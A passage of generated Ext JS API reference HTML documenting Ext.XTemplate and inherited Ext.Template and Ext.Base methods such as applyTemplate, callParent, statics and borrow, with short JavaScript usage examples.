numeric:</p>\n\n\n\n\n<pre><code>var tpl = new Ext.Template('Name: {0}, Age: {1}');\ntpl.applyTemplate(['John', 25]);\n</code></pre>\n\n\n\n\n<p>or an object:</p>\n\n\n\n\n<pre><code>var tpl = new Ext.Template('Name: {name}, Age: {age}');\ntpl.applyTemplate({name: 'John', age: 25});\n</code></pre>\n\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a></span><div class='sub-desc'><p>The HTML fragment</p>\n\n</div></li></ul></div></div></div><div id='method-applyTemplate' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-method-applyTemplate' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-method-applyTemplate' class='name expandable'>applyTemplate</a>( <span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a> values</span> ) : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a></div><div class='description'><div class='short'>Returns an HTML fragment of this template with the specified values applied. ...</div><div class='long'><p>Returns an HTML fragment of this template with the specified values applied.</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>values</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a><div class='sub-desc'><p>The template values. Can be an array if your params are numeric:</p>\n\n\n\n\n<pre><code>var tpl = new Ext.Template('Name: {0}, Age: {1}');\ntpl.applyTemplate(['John', 25]);\n</code></pre>\n\n\n\n\n<p>or an object:</p>\n\n\n\n\n<pre><code>var tpl = new Ext.Template('Name: {name}, Age: {age}');\ntpl.applyTemplate({name: 'John', age: 25});\n</code></pre>\n\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a></span><div class='sub-desc'><p>The HTML fragment</p>\n\n</div></li></ul></div></div></div><div id='method-callOverridden' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-method-callOverridden' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-method-callOverridden' class='name expandable'>callOverridden</a>( <span class='pre'><a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a>/Arguments args</span> ) : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><strong class='protected-signature'>protected</strong></div><div class='description'><div class='short'>Call the original method that was previously overridden with override\n\nExt.define('My.Cat', {\n constructor: functi...</div><div class='long'><p>Call the original method that was previously overridden with <a href=\"#!/api/Ext.Base-static-method-override\" rel=\"Ext.Base-static-method-override\" class=\"docClass\">override</a></p>\n\n<pre><code>Ext.define('My.Cat', {\n constructor: function() {\n alert(\"I'm a cat!\");\n\n return this;\n }\n});\n\nMy.Cat.override({\n constructor: function() {\n alert(\"I'm going to be a cat!\");\n\n var instance = this.callOverridden();\n\n alert(\"Meeeeoooowwww\");\n\n return instance;\n }\n});\n\nvar kitty = new My.Cat(); // alerts \"I'm going to be a cat!\"\n // alerts \"I'm a cat!\"\n // alerts \"Meeeeoooowwww\"\n</code></pre>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>args</span> : <a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a>/Arguments<div class='sub-desc'><p>The arguments, either an array or the <code>arguments</code> object</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a></span><div class='sub-desc'><p>Returns the result after calling the overridden method</p>\n</div></li></ul></div></div></div><div id='method-callParent' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-method-callParent' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-method-callParent' class='name expandable'>callParent</a>( <span class='pre'><a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a>/Arguments args</span> ) : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><strong class='protected-signature'>protected</strong></div><div class='description'><div class='short'>Call the parent's overridden method. ...</div><div class='long'><p>Call the parent's overridden method. For example:</p>\n\n<pre><code>Ext.define('My.own.A', {\n constructor: function(test) {\n alert(test);\n }\n});\n\nExt.define('My.own.B', {\n extend: 'My.own.A',\n\n constructor: function(test) {\n alert(test);\n\n this.callParent([test + 1]);\n }\n});\n\nExt.define('My.own.C', {\n extend: 'My.own.B',\n\n constructor: function() {\n alert(\"Going to call parent's overriden constructor...\");\n\n this.callParent(arguments);\n }\n});\n\nvar a = new My.own.A(1); // alerts '1'\nvar b = new My.own.B(1); // alerts '1', then alerts '2'\nvar c = new My.own.C(2); // alerts \"Going to call parent's overriden constructor...\"\n // alerts '2', then alerts '3'\n</code></pre>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>args</span> : <a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a>/Arguments<div class='sub-desc'><p>The arguments, either an array or the <code>arguments</code> object\nfrom the current method, for example: <code>this.callParent(arguments)</code></p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a></span><div class='sub-desc'><p>Returns the result from the superclass' method</p>\n</div></li></ul></div></div></div><div id='method-compile' class='member not-inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.XTemplate' rel='Ext.XTemplate' class='definedIn docClass'>Ext.XTemplate</a><br/><a href='source/XTemplate.html#Ext-XTemplate-method-compile' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.XTemplate-method-compile' class='name expandable'>compile</a>( <span class='pre'></span> ) : <a href=\"#!/api/Ext.XTemplate\" rel=\"Ext.XTemplate\" class=\"docClass\">Ext.XTemplate</a></div><div class='description'><div class='short'>Does nothing. ...</div><div class='long'><p>Does nothing. XTemplates are compiled automatically, so this function simply returns this.</p>\n<h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Ext.XTemplate\" rel=\"Ext.XTemplate\" class=\"docClass\">Ext.XTemplate</a></span><div class='sub-desc'><p>this</p>\n</div></li></ul></div></div></div><div id='method-initConfig' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-method-initConfig' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-method-initConfig' class='name expandable'>initConfig</a>( <span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> config</span> ) : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><strong class='protected-signature'>protected</strong></div><div class='description'><div class='short'>Initialize configuration for this class. ...</div><div class='long'><p>Initialize configuration for this class. a typical example:</p>\n\n<pre><code>Ext.define('My.awesome.Class', {\n // The default config\n config: {\n name: 'Awesome',\n isAwesome: true\n },\n\n constructor: function(config) {\n this.initConfig(config);\n\n return this;\n }\n});\n\nvar awesome = new My.awesome.Class({\n name: 'Super Awesome'\n});\n\nalert(awesome.getName()); // 'Super Awesome'\n</code></pre>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>config</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><div class='sub-desc'>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a></span><div class='sub-desc'><p>mixins The mixin prototypes as key - value pairs</p>\n</div></li></ul></div></div></div><div id='method-insertAfter' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-method-insertAfter' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-method-insertAfter' class='name expandable'>insertAfter</a>( <span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a> el, <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a> values, [<a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> returnElement]</span> ) : HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></div><div class='description'><div class='short'>Applies the supplied values to the template and inserts the new node(s) after el. ...</div><div class='long'><p>Applies the supplied values to the template and inserts the new node(s) after el.</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>el</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a><div class='sub-desc'><p>The context element</p>\n</div></li><li><span class='pre'>values</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a><div class='sub-desc'><p>The template values. See <a href=\"#!/api/Ext.Template-method-applyTemplate\" rel=\"Ext.Template-method-applyTemplate\" class=\"docClass\">applyTemplate</a> for details.</p>\n</div></li><li><span class='pre'>returnElement</span> : <a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> (optional)<div class='sub-desc'><p>true to return a <a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a>.</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'>HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></span><div class='sub-desc'><p>The new node or Element</p>\n</div></li></ul></div></div></div><div id='method-insertBefore' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-method-insertBefore' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-method-insertBefore' class='name expandable'>insertBefore</a>( <span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a> el, <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a> values, [<a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> returnElement]</span> ) : HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></div><div class='description'><div class='short'>Applies the supplied values to the template and inserts the new node(s) before el. ...</div><div class='long'><p>Applies the supplied values to the template and inserts the new node(s) before el.</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>el</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a><div class='sub-desc'><p>The context element</p>\n</div></li><li><span class='pre'>values</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a><div class='sub-desc'><p>The template values. See <a href=\"#!/api/Ext.Template-method-applyTemplate\" rel=\"Ext.Template-method-applyTemplate\" class=\"docClass\">applyTemplate</a> for details.</p>\n</div></li><li><span class='pre'>returnElement</span> : <a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> (optional)<div class='sub-desc'><p>true to return a <a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a>.</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'>HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></span><div class='sub-desc'><p>The new node or Element</p>\n</div></li></ul></div></div></div><div id='method-insertFirst' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-method-insertFirst' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-method-insertFirst' class='name expandable'>insertFirst</a>( <span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a> el, <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a> values, [<a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> returnElement]</span> ) : HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></div><div class='description'><div class='short'>Applies the supplied values to the template and inserts the new node(s) as the first child of el. ...</div><div class='long'><p>Applies the supplied values to the template and inserts the new node(s) as the first child of el.</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>el</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a><div class='sub-desc'><p>The context element</p>\n</div></li><li><span class='pre'>values</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a><div class='sub-desc'><p>The template values. See <a href=\"#!/api/Ext.Template-method-applyTemplate\" rel=\"Ext.Template-method-applyTemplate\" class=\"docClass\">applyTemplate</a> for details.</p>\n</div></li><li><span class='pre'>returnElement</span> : <a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> (optional)<div class='sub-desc'><p>true to return a <a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a>.</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'>HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></span><div class='sub-desc'><p>The new node or Element</p>\n</div></li></ul></div></div></div><div id='method-overwrite' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-method-overwrite' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-method-overwrite' class='name expandable'>overwrite</a>( <span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a> el, <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a> values, [<a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> returnElement]</span> ) : HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></div><div class='description'><div class='short'>Applies the supplied values to the template and overwrites the content of el with the new node(s). ...</div><div class='long'><p>Applies the supplied values to the template and overwrites the content of el with the new node(s).</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>el</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a><div class='sub-desc'><p>The context element</p>\n</div></li><li><span class='pre'>values</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a>/<a href=\"#!/api/Array\" rel=\"Array\" class=\"docClass\">Array</a><div class='sub-desc'><p>The template values. See <a href=\"#!/api/Ext.Template-method-applyTemplate\" rel=\"Ext.Template-method-applyTemplate\" class=\"docClass\">applyTemplate</a> for details.</p>\n</div></li><li><span class='pre'>returnElement</span> : <a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> (optional)<div class='sub-desc'><p>true to return a <a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a>.</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'>HTMLElement/<a href=\"#!/api/Ext.Element\" rel=\"Ext.Element\" class=\"docClass\">Ext.Element</a></span><div class='sub-desc'><p>The new node or Element</p>\n</div></li></ul></div></div></div><div id='method-set' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-method-set' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-method-set' class='name expandable'>set</a>( <span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a> html, [<a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> compile]</span> ) : <a href=\"#!/api/Ext.Template\" rel=\"Ext.Template\" class=\"docClass\">Ext.Template</a></div><div class='description'><div class='short'>Sets the HTML used as the template and optionally compiles it. ...</div><div class='long'><p>Sets the HTML used as the template and optionally compiles it.</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>html</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a><div class='sub-desc'>\n</div></li><li><span class='pre'>compile</span> : <a href=\"#!/api/Boolean\" rel=\"Boolean\" class=\"docClass\">Boolean</a> (optional)<div class='sub-desc'><p>True to compile the template.</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Ext.Template\" rel=\"Ext.Template\" class=\"docClass\">Ext.Template</a></span><div class='sub-desc'><p>this</p>\n</div></li></ul></div></div></div><div id='method-statics' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-method-statics' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-method-statics' class='name expandable'>statics</a>( <span class='pre'></span> ) : <a href=\"#!/api/Ext.Class\" rel=\"Ext.Class\" class=\"docClass\">Ext.Class</a><strong class='protected-signature'>protected</strong></div><div class='description'><div class='short'>Get the reference to the class from which this object was instantiated. ...</div><div class='long'><p>Get the reference to the class from which this object was instantiated. Note that unlike <a href=\"#!/api/Ext.Base-property-self\" rel=\"Ext.Base-property-self\" class=\"docClass\">self</a>,\n<code>this.statics()</code> is scope-independent and it always returns the class from which it was called, regardless of what\n<code>this</code> points to during run-time</p>\n\n<pre><code>Ext.define('My.Cat', {\n statics: {\n totalCreated: 0,\n speciesName: 'Cat' // My.Cat.speciesName = 'Cat'\n },\n\n constructor: function() {\n var statics = this.statics();\n\n alert(statics.speciesName); // always equals to 'Cat' no matter what 'this' refers to\n // equivalent to: My.Cat.speciesName\n\n alert(this.self.speciesName); // dependent on 'this'\n\n statics.totalCreated++;\n\n return this;\n },\n\n clone: function() {\n var cloned = new this.self; // dependent on 'this'\n\n cloned.groupName = this.statics().speciesName; // equivalent to: My.Cat.speciesName\n\n return cloned;\n }\n});\n\n\nExt.define('My.SnowLeopard', {\n extend: 'My.Cat',\n\n statics: {\n speciesName: 'Snow Leopard' // My.SnowLeopard.speciesName = 'Snow Leopard'\n },\n\n constructor: function() {\n this.callParent();\n }\n});\n\nvar cat = new My.Cat(); // alerts 'Cat', then alerts 'Cat'\n\nvar snowLeopard = new My.SnowLeopard(); // alerts 'Cat', then alerts 'Snow Leopard'\n\nvar clone = snowLeopard.clone();\nalert(Ext.getClassName(clone)); // alerts 'My.SnowLeopard'\nalert(clone.groupName); // alerts 'Cat'\n\nalert(My.Cat.totalCreated); // alerts 3\n</code></pre>\n<h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Ext.Class\" rel=\"Ext.Class\" class=\"docClass\">Ext.Class</a></span><div class='sub-desc'>\n</div></li></ul></div></div></div></div><div class='subsection'><div class='definedBy'>Defined By</div><h4 class='members-subtitle'>Static Methods</h3><div id='static-method-addStatics' class='member first-child inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-static-method-addStatics' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-static-method-addStatics' class='name expandable'>addStatics</a>( <span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> members</span> ) : <a href=\"#!/api/Ext.Base\" rel=\"Ext.Base\" class=\"docClass\">Ext.Base</a><strong class='static-signature'>static</strong></div><div class='description'><div class='short'>Add / override static properties of this class. ...</div><div class='long'><p>Add / override static properties of this class.</p>\n\n<pre><code>Ext.define('My.cool.Class', {\n ...\n});\n\nMy.cool.Class.addStatics({\n someProperty: 'someValue', // My.cool.Class.someProperty = 'someValue'\n method1: function() { ... }, // My.cool.Class.method1 = function() { ... };\n method2: function() { ... } // My.cool.Class.method2 = function() { ... };\n});\n</code></pre>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>members</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><div class='sub-desc'>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Ext.Base\" rel=\"Ext.Base\" class=\"docClass\">Ext.Base</a></span><div class='sub-desc'><p>this</p>\n</div></li></ul></div></div></div><div id='static-method-borrow' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-static-method-borrow' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-static-method-borrow' class='name expandable'>borrow</a>( <span class='pre'><a href=\"#!/api/Ext.Base\" rel=\"Ext.Base\" class=\"docClass\">Ext.Base</a> fromClass, <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/<a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>[] members</span> ) : <a href=\"#!/api/Ext.Base\" rel=\"Ext.Base\" class=\"docClass\">Ext.Base</a><strong class='static-signature'>static</strong></div><div class='description'><div class='short'>Borrow another class' members to the prototype of this class. ...</div><div class='long'><p>Borrow another class' members to the prototype of this class.</p>\n\n<pre><code>Ext.define('Bank', {\n money: '$$$',\n printMoney: function() {\n alert('$$$$$$$');\n }\n});\n\nExt.define('Thief', {\n ...\n});\n\nThief.borrow(Bank, ['money', 'printMoney']);\n\nvar steve = new Thief();\n\nalert(steve.money); // alerts '$$$'\nsteve.printMoney(); // alerts '$$$$$$$'\n</code></pre>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>fromClass</span> : <a href=\"#!/api/Ext.Base\" rel=\"Ext.Base\" class=\"docClass\">Ext.Base</a><div class='sub-desc'><p>The class to borrow members from</p>\n</div></li><li><span class='pre'>members</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/<a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>[]<div class='sub-desc'><p>The names of the members to borrow</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Ext.Base\" rel=\"Ext.Base\" class=\"docClass\">Ext.Base</a></span><div class='sub-desc'><p>this</p>\n</div></li></ul></div></div></div><div id='static-method-create' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-static-method-create' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-static-method-create' class='name expandable'>create</a>( <span class='pre'></span> ) : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><strong class='static-signature'>static</strong></div><div class='description'><div class='short'>Create a new instance of this Class. ...</div><div class='long'><p>Create a new instance of this Class.</p>\n\n<pre><code>Ext.define('My.cool.Class', {\n ...\n});\n\nMy.cool.Class.create({\n someConfig: true\n});\n</code></pre>\n\n<p>All parameters are passed to the constructor of the class.</p>\n<h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a></span><div class='sub-desc'><p>the created instance.</p>\n</div></li></ul></div></div></div><div id='static-method-createAlias' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-static-method-createAlias' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-static-method-createAlias' class='name expandable'>createAlias</a>( <span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/<a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> alias, <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/<a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> origin</span> )<strong class='static-signature'>static</strong></div><div class='description'><div class='short'>Create aliases for existing prototype methods. ...</div><div class='long'><p>Create aliases for existing prototype methods. Example:</p>\n\n<pre><code>Ext.define('My.cool.Class', {\n method1: function() { ... },\n method2: function() { ... }\n});\n\nvar test = new My.cool.Class();\n\nMy.cool.Class.createAlias({\n method3: 'method1',\n method4: 'method2'\n});\n\ntest.method3(); // test.method1()\n\nMy.cool.Class.createAlias('method5', 'method3');\n\ntest.method5(); // test.method3() -&gt; test.method1()\n</code></pre>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>alias</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/<a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><div class='sub-desc'><p>The new method name, or an object to set multiple aliases. See\n<a href=\"#!/api/Ext.Function-method-flexSetter\" rel=\"Ext.Function-method-flexSetter\" class=\"docClass\">flexSetter</a></p>\n</div></li><li><span class='pre'>origin</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/<a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a><div class='sub-desc'><p>The original method name</p>\n</div></li></ul></div></div></div><div id='static-method-from' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Template' rel='Ext.Template' class='definedIn docClass'>Ext.Template</a><br/><a href='source/Template2.html#Ext-Template-static-method-from' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Template-static-method-from' class='name expandable'>from</a>( <span class='pre'><a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement el, [<a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> config]</span> ) : <a href=\"#!/api/Ext.Template\" rel=\"Ext.Template\" class=\"docClass\">Ext.Template</a><strong class='static-signature'>static</strong></div><div class='description'><div class='short'>Creates a template from the passed element's value (display:none textarea, preferred) or innerHTML. ...</div><div class='long'><p>Creates a template from the passed element's value (<em>display:none</em> textarea, preferred) or innerHTML.</p>\n<h3 class=\"pa\">Parameters</h3><ul><li><span class='pre'>el</span> : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a>/HTMLElement<div class='sub-desc'><p>A DOM element or its id</p>\n</div></li><li><span class='pre'>config</span> : <a href=\"#!/api/Object\" rel=\"Object\" class=\"docClass\">Object</a> (optional)<div class='sub-desc'><p>Config object</p>\n</div></li></ul><h3 class='pa'>Returns</h3><ul><li><span class='pre'><a href=\"#!/api/Ext.Template\" rel=\"Ext.Template\" class=\"docClass\">Ext.Template</a></span><div class='sub-desc'><p>The created template</p>\n</div></li></ul></div></div></div><div id='static-method-getName' class='member inherited'><a href='#' class='side expandable'><span>&nbsp;</span></a><div class='title'><div class='meta'><a href='#!/api/Ext.Base' rel='Ext.Base' class='definedIn docClass'>Ext.Base</a><br/><a href='source/Base3.html#Ext-Base-static-method-getName' target='_blank' class='viewSource'>view source</a></div><a href='#!/api/Ext.Base-static-method-getName' class='name expandable'>getName</a>( <span class='pre'></span> ) : <a href=\"#!/api/String\" rel=\"String\" class=\"docClass\">String</a><strong class='static-signature'>static</strong></div><div class='description'><div class='short'>Get the current class' name in string format. ...</div><div class='long'><p>Get the 